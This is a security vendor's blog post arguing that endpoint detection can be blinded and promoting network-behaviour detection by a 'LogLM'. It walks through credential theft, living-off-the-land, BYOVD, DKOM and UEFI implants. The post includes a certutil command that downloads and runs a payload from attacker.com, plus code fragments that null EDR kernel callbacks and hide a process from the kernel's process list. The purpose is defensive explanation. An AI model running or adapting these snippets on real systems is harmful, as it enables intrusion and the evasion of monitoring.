‍Note: This article is intended to be a practical walkthrough of the fundamental gaps in endpoint detection, why sophisticated attackers exploit them, and why a LogLM trained on network metadata is the only detection layer that cannot be blinded.

The Assumption EDR Is Built On

The Assumption EDR Is Built OnEvery endpoint detection and response tool on the market is built on the same foundational assumption: the security sensor is the lowest layer of trusted software on the machine. It sits in the kernel, watches everything above it, and reports what it sees.That assumption made sense in 2010. In 2026, sophisticated attackers are systematically breaking it: from the same privilege level as the sensor, from below it, and in some cases from a layer that runs before the OS ever loads.When the assumption breaks, the EDR does not crash. It does not alert. Its dashboard stays green and it faithfully reports that everything is fine. Because from where it sits, everything is fine.

The fundamental problem: You cannot trust a sensor to accurately report on an environment it no longer controls. And you cannot fix that problem by making the sensor better. It is architectural.

This is not an argument against EDR. EDR catches real attacks and belongs in your stack. This is an argument that EDR needs a detection layer alongside it that operates entirely outside the trust boundary of the endpoint, one that cannot be blinded, killed, or manipulated from the host.

That layer is the network.

The Attacks Happening Right Now

Credential Theft and Identity Attacks

One initial access vector in 2026 is not a vulnerability. It is a stolen password or a hijacked session token. Device code phishing abuses the legitimate OAuth 2.0 device authorization flow to steal fully authenticated session tokens without ever needing the user's password. No malware. No exploit. The attacker gets a valid session and walks in through the front door.

EDR sees:    nothing. Legitimate login. No process. No payload.
SIEM sees:   successful auth event. Low risk score.


Network sees (once the attacker starts moving):
  Internal reconnaissance -- Graph API enumeration sweep
  Lateral recon -- SMB probes to hosts this identity has never touched
  Lateral movement -- new authentication to internal targets
  C2 beacon established to external IP
  -> Behavioral sequence flagged. Investigation triggered.

The credential theft itself is invisible to everyone. LogLM's detection starts the moment the attacker begins acting on that access. The internal recon sweep, the SMB probes to unfamiliar hosts, the C2 channel that opens shortly after: those are network events, and they deviate sharply from the established behavioral baseline of any legitimate user or host. LogLM reads that sequence and recognizes the shape of an attacker who is already inside and moving.

Living off the Land

Once inside, a competent attacker ditches their malware and switches to built-in Windows tools: PowerShell, WMI, certutil, Task Scheduler. Every binary is Microsoft-signed. Nothing looks unusual in isolation. The malicious intent only emerges from the combination and sequence, which is exactly what rules-based detection cannot reliably encode.

T+00:00  net user /domain            # lateral recon
T+00:04  net group 'Domain Admins'   # privilege mapping
T+00:09  nltest /domain_trusts        # trust enumeration
T+00:15  certutil -urlcache -f http://attacker.com/payload.exe
T+00:17  rundll32.exe payload.exe,EntryPoint


EDR alert count: 0
Network sees:
  Lateral recon  -- internal enumeration sweep over SMB/LDAP
  Lateral movement -- auth to new internal hosts over legitimate RDP
  C2 beacon -- periodic outbound over port 443, low variance
              interval, small asymmetric payload, abnormal cadence
              for this host's baseline
  -> Behavioral pattern flagged. Not the port. The behavior.

LogLM does not alert on the port or the protocol; 443 is expected, SMB is expected, RDP is expected. What it reads is the behavioral signature of what is happening over those channels: the periodic low-volume beacon with clockwork timing that no legitimate application produces, the lateral recon sweep touching internal hosts this machine has no prior relationship with, the privilege escalation attempt visible in authentication metadata, the data staging volume building toward exfil. The traffic uses legitimate ports because the attacker knows blocking port 443 is not an option. But the shape of that traffic (its rhythm, its targets, its asymmetry) is not the shape of normal.

BYOVD: Blinding the EDR Itself

Bring Your Own Vulnerable Driver is the attack that directly targets the detection layer. The attacker loads a legitimate, signed driver with a known memory vulnerability, uses it to write zeros over the EDR's kernel callback pointers, and the sensor goes deaf. It keeps running. The dashboard stays green. But it receives no events from that point forward.

kernel_write_u64(hDevice, driver_type,
    address_of_edr_callback_pointer,
    0x0000000000000000);


# EDR callback: nulled.
# Agent: still running. Dashboard: green.
# All subsequent activity: invisible to EDR.
# But the C2 beacon still puts packets on the wire.

LogLM catches this two ways simultaneously. The C2 beacon still produces traffic, and LogLM reads that beacon interval, payload asymmetry, and connection cadence as anomalous against the host's baseline. And LogLM recognizes the silence itself as a signal: when a host that was producing normal telemetry volume suddenly goes quiet at the endpoint layer while continuing to generate network activity, the mismatch between expected and actual telemetry is itself flagged as an indicator that something has gone wrong below the sensor.

DKOM: Making the Process Disappear

Direct Kernel Object Manipulation is a different path to the same destination. Where BYOVD blinds the EDR from outside using a vulnerable driver, DKOM manipulates kernel data structures directly specifically, unlinking a process from the doubly-linked list that the OS uses to enumerate running processes.

# Unlink malicious process from PsActiveProcessLinks
PLIST_ENTRY current = process->ActiveProcessLinks.Flink;
current->Blink = process->ActiveProcessLinks.Blink;
process->ActiveProcessLinks.Blink->Flink = current;


# Process: invisible to Task Manager, EDR, and the kernel's
#          own process enumeration.
# C2 beacon: still on the wire.

From any software perspective above the manipulation, the process does not exist. The EDR cannot enumerate it. But the network does not consult the process list. LogLM sees the beacon regardless of whether any tool on the host can account for what is producing it. A C2 beacon with no attributable process is not a gap in coverage; it is itself a high-confidence signal.

The Attacks Your Entire Stack Is Blind To

The attacks above have network signals even when EDR misses them. These are different. The host cannot accurately report its own state. The only evidence these attacks ever happened exists on the network.

UEFI Firmware Implants

UEFI firmware lives on a chip soldered to the motherboard, separate from the drive where your OS lives. It runs before the bootloader, before the kernel, before any driver. A UEFI implant hooks the handoff from firmware to OS, modifies kernel structures in memory, then steps aside. Windows boots, already compromised, with no awareness that anything happened.

With UEFI implant:
  UEFI firmware initializes hardware
  IMPLANT RUNS  <- modifies kernel in memory
  Bootloader loads
  Windows kernel loads (already patched)
  EDR agent loads into a kernel it cannot trust
  EDR reports: clean

The defining characteristic: reimage survival. When you wipe the drive and reinstall Windows, the firmware chip is never touched. The implant boots first, re-establishes its foothold, and the C2 beacon resumes within seconds of the OS coming online.

LogLM reads network metadata continuously and builds a long-term model of communication patterns for every host. When a machine reimages and a C2 beacon resumes to the same destination within seconds (with the same session characteristics as before the wipe), no signature fires. But LogLM understands that beacon continuity across a full OS reinstall is not a pattern any legitimate process produces. That sentence is grammatically wrong in the language of network behavior, and LogLM speaks that language well enough to know it.

Why a Language Model for Network Data

Walk back through every attack above. Credential theft has no malware. Living off the Land uses signed binaries. BYOVD erases the EDR's callbacks. DKOM hides the process entirely. UEFI implants run before the EDR loads. In every case, the endpoint cannot be trusted as a reliable source of truth.

But in every case, if the attack communicates, it puts traffic on the wire. And the network has not been compromised.

Traditional network detection uses signatures: known-bad IPs, IDS rules, domain blocklists. These work on attacks you have already seen. A BYOVD campaign using a new driver, a UEFI implant beaconing to a freshly registered domain, polymorphic malware with a hash that has never existed before. None of these match existing signatures. By definition. That is what makes them effective.

The answer is a model that understands normal deeply enough to recognize what is novel, regardless of whether it has seen that specific attack pattern before.

Flow traffic has structure, grammar, and patterns just like language does. Every host has behavioral fingerprints: which services it talks to, at what times, with what frequency, with what data volumes, over which protocols. A foundation model trained on telemetry builds an implicit model of normal for every observed entity without having to build a separate model for each entity. When behavior deviates, the model flags it. Not because it matched a signature, but because it understood the grammar well enough to know the sentence was wrong.

BYOVD (EDR fully blinded):
  C2 beacon appears in conn.log
  No corresponding EDR process event exists
  Telemetry mismatch -> alert


UEFI implant (survived reimage):
  Host reimages at 14:32:00
  C2 beacon resumes at 14:33:12, same IP, same session ID
  Persistence across reimage -> impossible for any OS process
  -> Firmware-level persistence flagged


Supply chain binary:
  Known-clean hash. Trusted vendor binary.
  First time this process has ever contacted that external IP.
  -> First-seen C2 destination from trusted process: high confidence alert


Insider threat:
  Legitimate user. Legitimate credentials. Legitimate tools.
  3am access. SMB traversal 10x normal breadth. 50GB outbound.
  -> Lateral movement + exfil pattern: behavioral deviation flagged


No signatures matched in any of these.
No malware was present in most of them.
The baseline was the detection.

Summary

‍

EDR watches the endpoint. 

LogLM watches the wire. 

When the endpoint lies, the wire does not.

‍

This research was produced by Branch 61G, DeepTempo's threat research group. Branch 61G investigates the fundamental gaps in modern security architectures and publishes findings to help defenders understand where their stack falls short.